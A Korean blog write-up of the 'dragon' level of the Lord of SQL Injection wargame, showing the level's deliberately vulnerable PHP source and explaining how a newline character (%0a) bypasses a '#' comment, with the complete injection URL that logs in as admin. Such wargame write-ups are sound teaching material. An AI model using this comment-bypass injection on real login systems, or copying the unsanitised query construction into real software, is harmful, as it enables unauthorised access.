<?php
include "./config.php";
login_chk();
dbconnect();
if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~");
$query = "select id from prob_dragon where id='guest'# and pw='{$_GET[pw]}'";
echo "<hr>query : <strong>{$query}</strong><hr><br>";
$result = @mysql_fetch_array(mysql_query($query));
if($result['id']) echo "<h2>Hello {$result[id]}</h2>";
if($result['id'] == 'admin') solve("dragon");
highlight_file(__FILE__);
?>
소스코드
딱히 문제 풀이에 방해될만한 필터링은 존재하지 않음
하지만 쿼리문, id='guest'의 뒤가 #으로 한줄 주석으로 처리되어 있음
한줄 주석이란게 중요한데
%0a는 줄바꿈으로 개행문자임
그래서 한줄 주석인 #을 우회 가능
query -> select id from prob_dragon where id='guest'# and pw=''
'
and pw=''는 주석처리되었고
마지막 싱글쿼터 때문에 에러가나 Hello guest가 출력되지 않은 모습
이걸 이용해서 이제 admin이 출력되게 만들면 됨
los.eagle-jump.org/dragon_7ead3fe768221c5d34bc42d518130972.php?pw=%27%0aand%201=2%20or%20id=%27admin
query -> select id from prob_dragon where id='guest'# and pw=''
and 1=2 or id='admin'
개행문자로 #을 우회하고
and 1=2로 id='guest'를 거짓으로 만든다음
id='admin'이 나오게 함
Dragon Clear
'Wargame, CTF > LOS_eagle' 카테고리의 다른 글
LOS _Dark_eyes (0) | 2020.03.16 |
---|---|
LOS _Iron_golem (0) | 2020.03.16 |
LOS _Xavis (0) | 2020.03.16 |
LOS _nightmare (0) | 2019.12.02 |
LOS _succubus (0) | 2019.11.21 |